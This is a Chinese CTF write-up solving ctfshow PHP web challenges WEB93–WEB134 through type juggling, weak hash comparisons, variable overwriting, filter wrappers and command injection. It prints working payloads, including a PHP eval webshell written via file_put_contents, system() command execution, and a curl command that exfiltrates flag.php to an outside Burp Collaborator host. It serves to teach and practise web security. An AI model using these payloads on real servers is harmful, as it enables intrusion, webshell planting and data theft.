WEB93
源码:
<?php /* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-18 16:32:58 # @link: https://ctfer.com */ include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); } }
利用八进制,4476八进制是10574,前面加个0,让intval函数用八进制
payload:?num=010574
WEB94
0不能是第一位了,否则第一位的下标是0。0第一次必须出现在非首位。用小数点,payload:?num=4476.012
WEB95
小数点被封了,还是回到8进制,只要让0不在第一位就可以了,所以考虑加上一个空格或者加号,就可以正常拿到flag
?num= 010574或者?num=+010574
WEB96
./flag.php 表示显示当前目录下的flag.php文件(或者从报错信息当中看出来绝对目录是/var/www/html然后直接写/var/www/html/flag.php也行)
WEB97
php md5函数的问题,md5([1,2,3])=NULL,全部传入数组即可
WEB98
源码:
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-18 21:39:27 # @link: https://ctfer.com */ include("flag.php"); $_GET?$_GET=&$_POST:'flag'; $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); ?>
&是地址传值,相当于是说如果get传了参数就用POST参数来覆盖GET参数,最后是HTTP_FLAG='flag'就能拿到flag
那就很简单,与flag参数无关,GET传a=2,POST传HTTP_FLAG=flag就行了
WEB99
源码:
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-18 22:36:12 # @link: https://ctfer.com */ highlight_file(__FILE__); $allow = array(); for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i)); } if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ file_put_contents($_GET['n'], $_POST['content']); } ?>
有个file_put_contents,显然是要写马,只要满足GET参数n在$allow数组里面就可以写马了,我们看一下in_array函数的官方文档
注意到没有strict参数会采用宽松的比较,猜测应该是弱比较,所以写1跟写1.php没有区别。
allow数组里面有什么呢?我们看到,里面写入了800多次随机数,1应该是最容易出现的,每一次都可能,所以就用1就行了
payload:GET:n=1.php POST:content=<?php eval($_GET[1]);?>
WEB100
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-21 22:10:28 # @link: https://ctfer.com */ highlight_file(__FILE__); include("ctfshow.php"); //flag in class ctfshow; $ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\;/", $v2)){ if(preg_match("/\;/", $v3)){ eval("$v2('ctfshow')$v3"); } } } ?>
首先明确一个问题,$v0究竟是由谁决定的?
and的优先级低于运算符,所以其实会先执行$v0=is_numeric($v1)再返回值给and运算。
所以说,v2,v3对v0根本就没有影响,真正有影响的是v1,而显然我们接下来并没有用到v1,那v1是什么都可以了,不影响命令执行
注意v2不能有分号,v3必须有分号
那就让v1是整数就可以执行eval语句了。
这里处理方式很多,列举几个payload
1.?v1=1&v2=var_dump($ctfshow)&v3=;
原理:v2的返回值会被php视为函数名,所以v2会先执行并返回结果,这里$ctfshow包含ctfshow类的信息。后面会报错但无所谓了,命令执行结果已经出来了
2.?v1=1&v2=print&v3=;system('tac ctfshow.php');
原理:v3可以有分号,那分号后面随便写命令,无过滤RCE随便整~
3.?v1=1&v2=echo new ReflectionClass&v3=;
原理:反射类可以直接通过类名拿到这个类的信息,讲解链接:PHP的反射类ReflectionClass、ReflectionMethod使用实例
这里执行的是echo new ReflectionClass('ctfshow');
flag格式是ctfshow{xxx},最后拿到的是{}中间的内容,同时对比一下还发现需要把0x2d变成-,再改格式才能提交成功。
WEB101
源码:
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-22 00:26:48 # @link: https://ctfer.com */ highlight_file(__FILE__); include("ctfshow.php"); //flag in class ctfshow; $ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){ eval("$v2('ctfshow')$v3"); } } } ?>
过滤得狠了一点,上一题的payload3还能用,注意flag少了一位,抓包爆破flag(离谱)
WEB102
源码:
<?php /* # -*- coding: utf-8 -*- # @Author: atao # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-23 20:59:43 */ highlight_file(__FILE__); $v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; file_put_contents($v3,$str); } else{ die('hacker'); }
这道题要求v2必须是数字,构造起来挺麻烦的。我的想法是数字里面可以有小数点,所以说可以用小数点作参数。v1=scandir,v2=11.,v3=1.txt可以看到所有文件名,但是没法看文件,call_user_func不允许嵌套执行...
看hint,构造的太巧妙了,<?=`cat *`;这个字符串的base64编码的16进制正好是科学记数法,只需要先用hex2bin转化为2进制,再用伪协议base64解码写入文件即可。(反正我构造不出来...)
v1=hex2bin,v2=115044383959474e6864434171594473,v3=php://filter/write=convert.base64-
decode/resource=1.php
再查看1.php源码即可
不过这道题提示我们如果在遇到file_get_contents或者file_put_contents这种读写文件函数的时候可以考虑伪协议
WEB103
<?php /* # -*- coding: utf-8 -*- # @Author: atao # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-23 21:03:24 */ highlight_file(__FILE__); $v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; if(!preg_match("/.*p.*h.*p.*/i",$str)){ file_put_contents($v3,$str); } else{ die('Sorry'); } } else{ die('hacker'); } ?>
跟上一题一样的payload,$str是base64编码,肯定没有php,没被过滤
WEB104
<?php /* # -*- coding: utf-8 -*- # @Author: atao # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-28 22:27:20 */ highlight_file(__FILE__); include("flag.php"); if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2)){ echo $flag; } } ?>
这道题确实很水,最简单的,v1=v2=1就行了,又没说v1!=v2...
还可以v1,v2传数组,结果都是NULL
还可以用0e开头的sha1值,弱相等时自动判定相等,给个实例:
aaK1STfY 0e76658526655756207688271159624026011393
aaO8zKZF 0e89257456677279068558073954252716165668
姿势很多,随便选~
WEB105
<?php /* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-28 22:34:07 */ highlight_file(__FILE__); include('flag.php'); error_reporting(0); $error='你还想要flag嘛?'; $suces='既然你想要那给你吧!'; foreach($_GET as $key => $value){ if($key==='error'){ die("what are you doing?!"); } $$key=$$value; }foreach($_POST as $key => $value){ if($value==='flag'){ die("what are you doing?!"); } $$key=$$value; } if(!($_POST['flag']==$flag)){ die($error); } echo "your are good".$flag."\n"; die($suces); ?>
一开始的想法肯定是看能不能实现$_POST['flag']==$flag,后面发现不太行,这里变量赋值的时候都不是针对GET或者POST参数的
那一定会执行die($error),所以如果$error的值就是flag也是可以的
第一个循环里面不允许key值是error,第二个循环里面不允许value值是flag,所以说我们考虑找个中间变量suces,先让$suces=$flag,再让$error=$suces就可以绕过过滤
payload:
GET:suces=flag
POST:error=suces
WEB106
<?php /* # -*- coding: utf-8 -*- # @Author: atao # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-28 22:38:27 */ highlight_file(__FILE__); include("flag.php"); if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2) && $v1!=$v2){ echo $flag; } } ?>
没啥好说的,跟WEB104差不多,数组绕过就行
WEB107
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-28 23:24:14 */ highlight_file(__FILE__); error_reporting(0); include("flag.php"); if(isset($_POST['v1'])){ $v1 = $_POST['v1']; $v3 = $_GET['v3']; parse_str($v1,$v2); if($v2['flag']==md5($v3)){ echo $flag; } } ?>
先来看看parse_str,官方文档看个例子就行了
显然这个函数是把第一个参数字符串解析成多个变量,存到第二个参数里面
判定条件是个弱相等,两种思路:
一种是空值相等,v1=t=1,这样$v2['flag']=null,v3传数组,nd5值也是null,能拿到flag
另一种是0值相等,v1=flag=0,v3找个md5值0e开头的字符串即可
0e开头的md5和原值:
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
WEB108
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-28 23:53:55 */ highlight_file(__FILE__); error_reporting(0); include("flag.php"); if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) { die('error'); } //只有36d的人才能看到flag if(intval(strrev($_GET['c']))==0x36d){ echo $flag; } ?>
ereg函数用于正则匹配,正则表达式中,^代表开头,$代表结尾,所以这个正则表达式相当于限定c只能有字母。
但是ereg函数有%00截断漏洞,遇到空字符就会停止解析,所以我们用%00字符做截断,后面strrev用于反转字符串,所以我们只需要在后面写778就会被翻转到字符串的前几位变成877,从而与0x36d弱相等。
payload:c=e%00778
WEB109
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-29 22:02:34 */ highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){ eval("echo new $v1($v2());"); } } ?>
这道题看到了new,肯定是想能不能有可以利用的php内置类,并且构造参数结果可以用echo直接显示出来的(也就是有__toString方法的)
错误处理类:Error,Exception
反射类:ReflectionClass,ReflectionMethod
payload:?v1=Reflectionclass&v2=system('cat fl36dg.txt')
但是其实这道题可以使用任何一个内置类,因为根据php的执行顺序,一定会先把参数v2计算出来,顺序是$v2->$v2()->echo $v1($v2())也就是说会先执行我们的命令,只要执行,后面的类是否初始化成功是否报错我们也就不关心了。
所以,payload还可以是:
?v1=mysqli&v2=system('tac *')
根本就不需要有__toString方法输出,只要命令执行结果本身能回显就行了~
不过上面几个内置类还是挺常用的,做个积累。
WEB110
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-29 22:49:10 */ highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){ die("error v1"); } if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){ die("error v2"); } eval("echo new $v1($v2());"); } ?>
这道题不能RCE了,是一个新的知识点:内置类FilesystemIterator,可以用来遍历目录。
利用内置类:FilesystemIterator(目录) 这个类对象存储着目录所有的文件名称,可以用foreach等迭代遍历
例:
$a=new FilesystemIterator('.');
foreach($a as $f){ echo $f; }
表示当前目录专题
- .可以代表当前目录
- getcwd()函数
- dirname(__FILE__)(__FILE__是当前文件的绝对路径,加一个dirname变成目录绝对路径
如果直接输出对象,该对象的__toString方法会输出第一个文件名
这道题用echo输出,所以会执行__toString方法输出第一个文件名,正好就是flag文件,还是txt,直接访问即可
payload:?v1=FilesystemIterator&v2=getcwd
WEB111
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-30 02:41:40 */ highlight_file(__FILE__); error_reporting(0); include("flag.php"); function getFlag(&$v1,&$v2){ eval("$$v1 = &$$v2;"); var_dump($$v1); } if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){ die("error v1"); } if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){ die("error v2"); } if(preg_match('/ctfshow/', $v1)){ getFlag($v1,$v2); } } ?>
这道题仍然是变量覆盖,不过函数里面是没法直接使用全局变量flag的,所以把$flag用$GLOBALS替代即可。
$GLOBALS包括了所有变量,包括$_GET,$_POST和$_COOKIE等等
payload:v1=ctfshow&v2=GLOBALS
WEB112
<?php /* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-30 23:47:49 */ highlight_file(__FILE__); error_reporting(0); function filter($file){ if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){ die("hacker!"); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
这道题关键在于只有不满足is_file才会读取文件,也就是说,file参数值不能直接是文件名。那我们用伪协议来进行绕过。(其实过滤词也提示得也很明显了)
可以直接不加任何过滤器读文件:
?file=php://filter/resource=flag.php
还有一些:
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php
WEB113
<?php /* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-30 23:47:52 */ highlight_file(__FILE__); error_reporting(0); function filter($file){ if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
首先是上一题的compress.zlib://flag.php还是可以用的
然后就是目录溢出也可以绕过is_file,linux中,/proc/self/root是指向根目录的。所以当/proc/self/root循环多少次都是根目录,但是循环过多次之后is_file会判定这不是一个文件,但是highlight_file可以正常输出。
payload2:/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/ self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
WEB114
<?php /* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-01 15:02:53 */ error_reporting(0); highlight_file(__FILE__); function filter($file){ if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET['file']; echo "师傅们居然tql都是非预期 哼!"; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
没过滤filter,直接?file=php://filter/resource=flag.php即可
WEB115
<?php /* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-01 15:08:19 */ include('flag.php'); highlight_file(__FILE__); error_reporting(0); function filter($num){ $num=str_replace("0x","1",$num); $num=str_replace("0","1",$num); $num=str_replace(".","1",$num); $num=str_replace("e","1",$num); $num=str_replace("+","1",$num); return $num; } $num=$_GET['num']; if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){ if($num=='36'){ echo $flag; }else{ echo "hacker!!"; } }else{ echo "hacker!!!"; }
这道题很有意思,其实考察的是一个比较运算符的特性。
我们来看看官方文档:
!==其实是===的否定,!=是==的否定。在用!==做比较的时候是不会把字符串转化为数字的。而后面的判定都是用的弱相等,会转化成数字,这就是利用点。我们只需要给出一个不是36的字符串,在转化为数字后值是36就行了。
又要满足is_numeric和trim函数的限制,我们可以看一下trim函数:
很神奇,%0a%0b%0d都没了,但是留了个%0c~
is_numeric允许空白符号,而空白符号又不影响转化值,所以说payload就呼之欲出了
payload:?num=%0c36
满足is_numeric,!==严格字符串比较与'36'不等,trim没去掉%0c所以也不等,后面两个都是用的弱相等满足,得到flag
WEB123
<?php /* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 22:02:47 # @email: [email protected] # @link: https://ctfer.com */ error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } } ?>
第一个难点就是CTF_SHOW.COM里面的点是不允许在变量中出现的,所以如果直接传CTF_SHOW.COM会变成CTF_SHOW_COM。
php有一个特性,就是变量名中的空格、[
和 .
都会被替换成下划线 _
,但如果先有一个 [
被替换成下划线,接下来后面的空格、[
和 .
都不会被替换
同时,这里命令执行应该是禁用了一些函数,有几种做法可以过:
1.echo $flag
2.echo implode(get_defined_vars())
3.extract($_POST)&fl0g=flag_give_me (extract函数:从数组中将变量导入到当前的变量中)
payload示例:
POST:CTF_SHOW=1&CTF[SHOW.COM=1&fun=extract($_POST)&fl0g=flag_give_me
WEB125
<?php /* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 22:02:47 # # */ error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } } ?>
1.上一题的第三种方法仍然可用
2.并且还可以用highlight_file,以$GET[1]为参数,这个函数也没有被禁用
GET:1=flag.php
POST:highlight_file($_GET[1])
3.还可以用var_export(get_defined_vars()),var_export也可以输出数组
4.利用$_SERVER['argv']为执行参数绕过过滤,必须在php.ini开启register_argc_argv配置项
访问127.0.0.1/test.php?a=1&1
访问127.0.0.1/test.php?a=1+1
url后面的GET参数串以加号分隔成为$_SERVER['argv']数组的各个元素
payload:GET:?a=1+$fl0g=flag_give_me;
POST:CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[1]) (一定要加一个eval而不能直接写$a[1],否则$a[1]不会被解析而是被当做字符串)
换言之,其实任何能让$a[1]被解析的函数都可以使用,包括parse_str($a[1]),assert($a[1])等均可。
WEB126
<?php /* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 22:02:47 # # */ error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } }
上一题的方法4仍然可用。
WEB127
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-10 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-10 21:52:49 */ error_reporting(0); include("flag.php"); highlight_file(__FILE__); $ctf_show = md5($flag); $url = $_SERVER['QUERY_STRING']; //特殊字符检测 function waf($url){ if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){ return true; }else{ return false; } } if(waf($url)){ die("嗯哼?"); }else{ extract($_GET); } if($ctf_show==='ilove36d'){ echo $flag; }
这道题还是php变量命名特性,空格、点和[都会被转化为下划线,这里下划线被过滤了,可以用空格代替呀~
payload:?ctf show=ilove36d(话说群主还真是恶趣味...)
WEB128
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-10 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-12 19:49:05 */ error_reporting(0); include("flag.php"); highlight_file(__FILE__); $f1 = $_GET['f1']; $f2 = $_GET['f2']; if(check($f1)){ var_dump(call_user_func(call_user_func($f1,$f2))); }else{ echo "嗯哼?"; } function check($str){ return !preg_match('/[0-9]|[a-z]/i', $str); }
这道题考察的点有点偏啊...考的是在php的扩展gettext开启时,_()就相当于gettext(),用于根据用户地区的不同显示不同的内容。
所以这里只需要f1=_,f2=get_defined_vars,就可以在第一个call_user_func中拿到get_defined_vars,正好这个函数也不要参数,直接执行,结果再用var_dunp输出即可得到flag
注意,这道题不能用什么异或绕过,这里不是eval,不会计算表达式的值,而是直接回调函数。
WEB129
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-13 03:18:40 */ error_reporting(0); highlight_file(__FILE__); if(isset($_GET['f'])){ $f = $_GET['f']; if(stripos($f, 'ctfshow')>0){ echo readfile($f); } }
payload1:在伪协议里面套一层过滤器,无效会被忽略。
php://filter/convert.base64-encode|ctfshow/resource=flag.php
payload2:目录穿越,特别是这种可以输入绝对路径的参数,没有验证时很容易出问题。
?f=/ctfshow/../var/www/html/flag.php
(../直接退回上级目录,所以就不会验证/ctfshow目录是否真的存在了)
(没回显记得看看源码...)
WEB130
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-13 05:19:40 */ error_reporting(0); highlight_file(__FILE__); include("flag.php"); if(isset($_POST['f'])){ $f = $_POST['f']; if(preg_match('/.+?ctfshow/is', $f)){ die('bye!'); } if(stripos($f, 'ctfshow') === FALSE){ die('bye!!'); } echo $flag; }
这道题关键是搞懂这个正则,.是匹配除了\n\r之外的单个字符,+号代表前面的字符必须至少出现一次(1次或多次),?问号代表前面的字符最多只可以出现一次(0次、或1次)
那ctfshow前面至少要有一个字符才能匹配到正则,直接POST:f=ctfshow就行了。
WEB131
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-13 05:19:40 */ error_reporting(0); highlight_file(__FILE__); include("flag.php"); if(isset($_POST['f'])){ $f = (String)$_POST['f']; if(preg_match('/.+?ctfshow/is', $f)){ die('bye!'); } if(stripos($f,'36Dctfshow') === FALSE){ die('bye!!'); } echo $flag; }
这正则拿正常方法是绕不过去了,这里要用正则的一个特性,就是正则回溯的次数会有一定的限制,具体来说,这道题前面的.+?可以匹配字符的数量是不定的,那么,在非贪婪模式下,.+?就会先匹配尽量少的字符,如果匹配失败,再回溯重新匹配,匹配到的字符数量依次增加。这种回溯次数是有限制的,如果超过了,正则匹配就会直接失败。如果36Dctfshow前面的字符数量过多,就会造成这种回溯次数超过限制。详解文章:深悉正则(pcre)最大回溯/递归限制 - 风雪之隅 (laruence.com)
所以,构造足够长度的字符串即可。脚本:
import requests str="good"*250000+"36Dctfshow" url="http://843b1c84-b9af-435b-b72c-6516c83f5451.challenge.ctf.show/" r=requests.post(url=url,data={'f':str}) print(r.text)
WEB132
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 06:22:13 # @Last Modified by: h1xa # @Last Modified time: 2020-10-13 20:05:36 # @email: [email protected] # @link: https://ctfer.com */ #error_reporting(0); include("flag.php"); highlight_file(__FILE__); if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){ $username = (String)$_GET['username']; $password = (String)$_GET['password']; $code = (String)$_GET['code']; if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){ if($code == 'admin'){ echo $flag; } } }
首先直接访问robots.txt(本来想扫的...还是算了,直接看了一眼wp),看到了/admin
然后访问/admin,出现了代码。
这道题就是一个&&跟||的优先级问题,&&优先于||,所以只需要满足$username ==="admin"就行了。
payload:?username=admin&password=111&code=admin
WEB133
<?php /* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-13 16:43:44 */ error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){ eval(substr($F,0,6)); }else{ die("6个字母都还不够呀?!"); } }
显然是无回显RCE,只截取前6个字母执行。
试了一下,没有写入权限
这道题是用的套娃,参照Firebasky师傅的wp
get传参 F=`$F `;sleep 3 经过substr($F,0,6)截取后 得到 `$F `; 也就是会执行 eval("`$F `;"); 我们把原来的$F带进去 eval("``$F `;sleep 3`"); 也就是说最终会执行 ``$F `;sleep 3` == shell_exec("`$F `;sleep 3"); 前面的命令我们不需要管,但是后面的命令我们可以自由控制。 这样就在服务器上成功执行了 sleep 3
命令执行中会自动跳过无效命令(但貌似代码执行不行)
这样就绕过了长度限制,反弹shell好像bash用不了(?)
远程只有curl能用,一个比dnslog好的外带方式是BP自带的Collaborator Client,可以接收完整请求,也就是说就可以接收POST文件的请求(VPS监听也行)
?F=`$F `;curl -X POST -F [email protected] http://7dl83rso1b33x5cv8ecxo3snxe34rt.burpcollaborator.net #其中-F 为带文件的形式发送post请求 #-X是远程http请求 #xx是上传文件的name值,flag.php就是上传的文件
WEB134
<?php /* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-14 23:01:06 */ highlight_file(__FILE__); $key1 = 0; $key2 = 0; if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) { die("nonononono"); } @parse_str($_SERVER['QUERY_STRING']); extract($_POST); if($key1 == '36d' && $key2 == '36d') { die(file_get_contents('flag.php')); }
这道题思路有那么一点点清奇...我们知道,假设我们传入?a=1,那么在parse_str之后变量表中的形式其实是$GET[a]=1
这里不允许我们直接设置key1和key2变量,那我们可不可以组合起来,将$_GET中的变量转到$_POST里,再将$_POST转到变量表中呢?
